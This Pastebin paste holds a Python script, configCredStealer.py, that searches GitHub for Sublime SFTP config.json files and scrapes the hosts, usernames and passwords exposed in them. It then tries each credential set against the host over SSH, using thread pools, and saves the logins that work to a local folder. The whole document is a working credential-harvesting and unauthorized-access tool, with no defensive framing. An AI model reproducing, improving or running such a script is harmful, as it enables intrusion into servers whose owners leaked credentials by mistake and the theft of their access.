Advertisement
Guest User

configCredStealer.py

a guest
May 18th, 2016
34
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 6.60 KB | None | 0 0
  1. #!/usr/bin/python
  2.  
  3. import sys, os
  4. import urllib
  5. from bs4 import BeautifulSoup
  6. import paramiko, socket
  7. import concurrent.futures
  8.  
  9.  
  10. class bcolors:
  11.     HEADER = '\033[95m'
  12.     OKBLUE = '\033[94m'
  13.     OKGREEN = '\033[92m'
  14.     WARNING = '\033[93m'
  15.     FAIL = '\033[91m'
  16.     ENDC = '\033[0m'
  17.     BOLD = '\033[1m'
  18.     UNDERLINE = '\033[4m'
  19.  
  20. class Credentials:
  21.     def __init__(self, host, user, password):
  22.         self.host = host
  23.         self.user = user
  24.         self.password = password
  25.  
  26.     def toString(self):
  27.         return  "Creds:\nhost= " + self.host + "\nuser= " + self.user + "\npassword= " + self.password
  28.  
  29. def printAndLog(string, colorCode):
  30.     print colorCode + string + bcolors.ENDC
  31.     with open("progress.log", "a") as logfile:
  32.         logfile.write(string)
  33.         logfile.close()
  34.  
  35. def testCredentials(credentials):
  36.     sshClient = paramiko.SSHClient()
  37.     sshClient.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  38.     try:
  39.         sshClient.connect(credentials.host, username=credentials.user, password=credentials.password, timeout=15) # if it passes the line it's because it connected successfuly
  40.         sshClient.close()
  41.         printAndLog("\nValid credentials for: " + credentials.host, bcolors.OKGREEN)
  42.         credFile = open("Credentials/" + credentials.user + ":" + credentials.password, "w")
  43.         credFile.write(credentials.toString())
  44.         credFile.close()
  45.     except (paramiko.BadHostKeyException, paramiko.AuthenticationException,
  46.             paramiko.SSHException, socket.error), e:
  47.         printAndLog("\nBad Credentials For: " + credentials.host, bcolors.FAIL)
  48.         sshClient.close()
  49.         printAndLog(e, bcolors.FAIL)
  50.  
  51. def getPageAndCredentials(pageNumber, sizeParameter, threadPool):
  52.     printAndLog("Retrieving HTML from page " + str(i), bcolors.OKBLUE)
  53.     printAndLog("With size parameter = " + str(sizeParameter), bcolors.OKBLUE)
  54.     startURL = "https://github.com"
  55.     pageUrls = []
  56.  
  57.     size = "+size%3A" + sizeParameter if sizeParameter is not None else ""
  58.     searchResultUrl =   startURL + "/search?p=" + str(pageNumber) + "&q=%2F%2F+Visit+http%3A%2F%2Fwbond.net%2Fsublime_packages%2Fsftp%2Fsettings+for+help" + size + "&ref=searchresults&type=Code&utf8=%E2%9C%93"
  59.  
  60.     htlmRaw = urllib.urlopen(searchResultUrl).read()
  61.  
  62.     parsed_html, searchResultDiv = None, None
  63.  
  64.     try:
  65.         parsed_html = BeautifulSoup(htlmRaw, "lxml")
  66.         searchResultDiv = BeautifulSoup(parsed_html.body.find('div', attrs={'class':'code-list'}).prettify(), "lxml")
  67.     except Exception as e:
  68.         printAndLog("Error parsing, expected result page", bcolors.FAIL)
  69.         return
  70.  
  71.     allDivs = searchResultDiv.body.findAll('div')
  72.  
  73.     for paragraph in parsed_html.body.findAll('p'):
  74.         sub = paragraph.findAll("a")
  75.         url = ""
  76.         if len(sub) > 1:
  77.             url = sub[1].get("href")
  78.  
  79.         if url is not None and ".json" in url:
  80.             pageUrls.append(startURL + url)
  81.  
  82.  
  83.     rawDocs = []
  84.  
  85.     for url in pageUrls:
  86.         rawPage = urllib.urlopen(url).read()
  87.         parsedPage = BeautifulSoup(rawPage, "lxml")
  88.         rawHref = parsedPage.find("a", attrs={'id':'raw-url'}).get("href")
  89.         rawDoc = urllib.urlopen(startURL + rawHref).read()
  90.         rawDocs.append(rawDoc)
  91.  
  92.     printAndLog("\nRetrieved " + str(len(rawDocs)) + " raw config.json files from page " + str(pageNumber), bcolors.OKBLUE)
  93.  
  94.     creds = []
  95.     for doc in rawDocs:
  96.         host = ""
  97.         user = ""
  98.         password = ""
  99.         for line in doc.split(","):
  100.             if "\"host\"" in line:
  101.                 host = line.split(":")[1].split("\"")[1]
  102.             if "\"user\"" in line:
  103.                 user = line.split(":")[1].split("\"")[1]
  104.             if "\"password\"" in line:
  105.                 password = line.split(":")[1].split("\"")[1]
  106.  
  107.         if host != "" and user != "" and password != "":
  108.             creds.append(Credentials(host, user, password))
  109.  
  110.     printAndLog("\nRetrieved " + str(len(creds)) + " credentials from " + str(len(rawDocs)) + " raw config files from page " + str(pageNumber),
  111.                 bcolors.OKBLUE)
  112.  
  113.     for cred in creds:
  114.         threadPool.submit(testCredentials, cred)
  115.  
  116.  
  117.  
  118.  
  119.  
  120.  
  121.  
  122. #Actual script start ****************************************************************************************************
  123. pageGetterThreads = 5
  124. testerThreads = 5
  125. firstPage = 1
  126. lastPage = 100
  127. sizeParameter = None
  128.  
  129.  
  130. args = args = sys.argv[1:]
  131. possible_args = [   "-h", "--help"
  132.                     "-p", "--pages",
  133.                     "-tt", "--threads",
  134.                     "-pt", "--pageThreads",
  135.                     "-gt", "--greater",
  136.                     "-lt", "--lesser"]
  137.  
  138. skip_next = False
  139. if "-h" in args or "--help" in args:
  140.     print "Usage: ./configCredStealer.py [param] [value]"
  141.     print "Parameters: "
  142.     print "-p or --pages for the range of pages -> format: [min]-[max]"
  143.     print "-tt or --threads for the max number of threads testing SSH credentials"
  144.     print "-pt or --pageThreads for the max number of threads retrieving the html page and credentials"
  145.     print "-gt and/or -lt for the size parameter, adds 'size:>XXX' or 'size:<XXX' to the search query"
  146.     sys.exit()
  147.  
  148. for i in range(len(args)):
  149.     if skip_next:
  150.             skip_next = False
  151.             continue
  152.     if args[i] not in possible_args:
  153.             print "Invalid argument: '" + args[i] + "' ignored"
  154.     if args[i] == "-p" or args[i] == "--pages":
  155.         try:
  156.             minmax = args[i+1].split("-")
  157.             firstPage = int(minmax[0])
  158.             lastPage = int(minmax[1])
  159.             if firstPage < 1:
  160.                 firstPage = 1
  161.             if lastPage > 100:
  162.                 lastPage = 100
  163.  
  164.             skip_next = True
  165.         except Exception, e:
  166.             sys.exit("Pages must be in [min]-[max] format!")
  167.     if args[i] == "-gt" or args[i] == "--greater":
  168.         try:
  169.             sizeParam = args[i+1]
  170.             sizeParameter = ">" + sizeParam
  171.             skip_next = True
  172.         except Exception, e:
  173.             sys.exit("Size parameter '-gt' should include followed by a number.")
  174.     if args[i] == "-lt" or args[i] == "--lesser":
  175.         try:
  176.             sizeParam = args[i+1]
  177.             sizeParameter = "<" + sizeParam
  178.             skip_next = True
  179.         except Exception, e:
  180.             sys.exit("Size parameter '-gt' should include followed by a number.")
  181.     if args[i] == "-tt" or args[i] == "--testerThreads":
  182.         try:
  183.             testerThreads = int(args[i+1])
  184.             skip_next = True
  185.         except Exception, e:
  186.             sys.exit("-tt parameter should be followed by a single integer.")
  187.     if args[i] == "-pt" or args[i] == "--pageThreads":
  188.         try:
  189.             pageGetterThreads = int(args[i+1])
  190.             skip_next = True
  191.         except Exception, e:
  192.             sys.exit("-pt parameter should be followed by a single integer.")
  193.  
  194.  
  195. #Creating 2 threadpools for both tasks (getting credentials, testing credentials)
  196. pageCredRetrieverPool = concurrent.futures.ThreadPoolExecutor(max_workers=pageGetterThreads)
  197. sshTestPool = concurrent.futures.ThreadPoolExecutor(max_workers=testerThreads)
  198.  
  199.  
  200. if not os.path.exists("Credentials"):
  201.     os.makedirs("Credentials")
  202.  
  203. with concurrent.futures.ThreadPoolExecutor(max_workers=pageGetterThreads) as executor:
  204.     for i in range(firstPage, lastPage+1):
  205.         executor.submit(getPageAndCredentials, i, sizeParameter, sshTestPool)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement